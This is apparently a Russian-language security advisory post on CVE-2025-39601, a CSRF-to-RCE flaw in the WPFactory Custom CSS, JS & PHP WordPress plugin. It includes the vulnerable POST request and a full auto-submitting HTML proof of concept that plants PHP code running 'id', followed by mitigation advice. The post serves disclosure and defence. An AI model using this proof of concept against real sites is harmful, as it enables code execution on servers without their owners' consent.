CSRF-атаки все еще актуальны, особенно если мы говорим про плагины к популярным CMS. Сегодня расскажем, к чему они могут привести, на примере CVE-2025–39601.
CVE-2025–39601 — уязвимость подделки межсайтовых запросов (CSRF) в плагине WPFactory Custom CSS, JS и PHP для WordPress.
❗️ Уязвимы все версии до 2.4.1, рекомендуем обновиться.
Метрики
Base Score: 9,6
CWE: CWE-352
Как это работает
После установки плагина
WPFactory Custom CSS, JS и PHP у администратора появляется возможность создавать собственные PHP скрипты на конечной точке /wp-admin/tools.php?page=alg-custom-php. Сам PHP код и другие параметры передаются в теле POST-запроса: alg_custom_css_php_enabled=1&alg_custom_css_php_execute=plugins_loaded&alg_custom_css_php=<?php system(id); ?>&alg_ccjp_submit=php
В передаваемых данных при создании скрипта отсутствует CSRF-токен, нет и отдельного HTTP-заголовка или значения COOKIE, содержащего токен. Этот запрос можно будет подделать и создать скрипт от лица администратора, что приведет к RCE.
Пример
Классический сценарий атаки будет выглядеть так:
Администратор получает вредоносную ссылку на приложение -> администратор переходит по ссылке -> от лица администратора создаётся скрипт с вредоносным кодом, который приводит к RCE.
Вредоносное приложение имеет такую HTML-структуру:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WordPress Custom CSS, JS & PHP plugin <= 2.4.1 - CSRF to RCE vulnerability </title>
</head>
<body onload="document.forms[0].submit()">
<h1>CSRF PoC - WordPress Custom CSS, JS & PHP plugin <= 2.4.1 </h1>
<form action="http://XXX/wp-admin/tools.php?page=alg-custom-php" method="POST">
<input type="hidden" name="alg_custom_css_php_enabled" value="1">
<input type="hidden" name="alg_custom_css_php" value="<?php system('id'); ?>">
<input type="hidden" name="alg_ccjp_submit" value="php">
<noscript>
<input type="submit" value="Submit">
</noscript>
</form>
</body>
</html>
Код передается в блоке
alg_custom_css_php. В данном случае, для примера, мы выведем результат команды id, который сможет увидеть любой пользователь приложения (Скриншот 1).Этот POST-запрос будет полностью эмулировать легитимный запрос администратора, и только заголовок
Origin будет содержать информацию о другом приложении (Скриншот 2).Как защищаться
1️⃣ Не отсылать или ограничить отсылку COOKIE файлов сторонним сайтам или приложениям;
2️⃣ использовать CORS;
3️⃣ использовать CSRF-токен;
4️⃣ дополнительно проверять на валидность заголовки
Origin, Referer.

